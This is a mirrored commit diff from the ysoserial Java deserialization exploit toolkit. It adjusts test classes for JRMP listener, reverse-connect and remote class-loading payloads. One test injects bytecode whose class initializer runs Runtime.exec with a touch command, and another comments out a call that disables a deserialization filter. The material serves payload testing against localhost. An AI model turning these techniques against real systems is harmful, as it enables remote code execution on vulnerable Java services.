mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
added extra output
This commit is contained in:
@@ -95,6 +95,7 @@ public class JRMPClient {
|
||||
}
|
||||
}
|
||||
|
||||
// based on http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
|
||||
|
||||
@@ -21,10 +21,9 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
|
||||
|
||||
@Override
|
||||
public void run(Callable<Object> payload) throws Exception {
|
||||
System.out.println(testFile);
|
||||
Assert.assertFalse("test file shouldn't exist", testFile.exists());
|
||||
|
||||
ObjectInputFilters.disableDcgFilter();
|
||||
// ObjectInputFilters.disableDcgFilter();
|
||||
|
||||
// open listener
|
||||
Remote res = (Remote) payload.call();
|
||||
@@ -36,7 +35,6 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
|
||||
Files.waitForFile(testFile, 1000);
|
||||
|
||||
Assert.assertTrue("test file should exist", testFile.exists());
|
||||
System.out.println("passed");
|
||||
} finally {
|
||||
// close listener
|
||||
// TODO move to postDeserRelease
|
||||
@@ -50,6 +48,7 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
// ObjectInputFilters.disableDcgFilter();
|
||||
PayloadsTest.testPayload(JRMPListener.class, new Class[0]);
|
||||
}
|
||||
|
||||
|
||||
@@ -4,6 +4,7 @@ package ysoserial.test.payloads;
|
||||
import java.net.URL;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import ysoserial.payloads.JRMPClient;
|
||||
import ysoserial.test.WrappedTest;
|
||||
import ysoserial.exploit.JRMPListener;
|
||||
|
||||
@@ -16,16 +17,11 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
|
||||
|
||||
private int jrmpPort;
|
||||
|
||||
|
||||
public JRMPReverseConnectSMTest () {
|
||||
// some payloads cannot specify the port
|
||||
jrmpPort = 1099;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
@@ -57,7 +53,9 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
|
||||
return "localhost:" + jrmpPort;
|
||||
}
|
||||
|
||||
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
// System.setProperty("java.rmi.server.useCodebaseOnly", "false");
|
||||
PayloadsTest.testPayload(JRMPClient.class);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -151,6 +151,7 @@ public class PayloadsTest {
|
||||
}
|
||||
}
|
||||
if (ex != null) throw ex;
|
||||
System.out.println("Successfully tested payload: " + payloadClass.getName());
|
||||
}
|
||||
|
||||
private static boolean isForceTests() {
|
||||
|
||||
@@ -50,7 +50,12 @@ public class RemoteClassLoadingTest extends CommandExecTest implements WrappedTe
|
||||
pool.insertClassPath(new ClassClassPath(Exploit.class));
|
||||
final CtClass clazz = pool.get(Exploit.class.getName());
|
||||
clazz.setName(this.className);
|
||||
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + getTouchCmd(testFile.toString()).replace("\\", "\\\\").replace("\"", "\\\"") + "\");");
|
||||
clazz.makeClassInitializer().insertAfter(
|
||||
"java.lang.Runtime.getRuntime().exec(\""
|
||||
+ getTouchCmd(testFile.toString())
|
||||
.replace("\\", "\\\\")
|
||||
.replace("\"", "\\\"")
|
||||
+ "\");");
|
||||
return clazz.toBytecode();
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
|
||||
Reference in New Issue
Block a user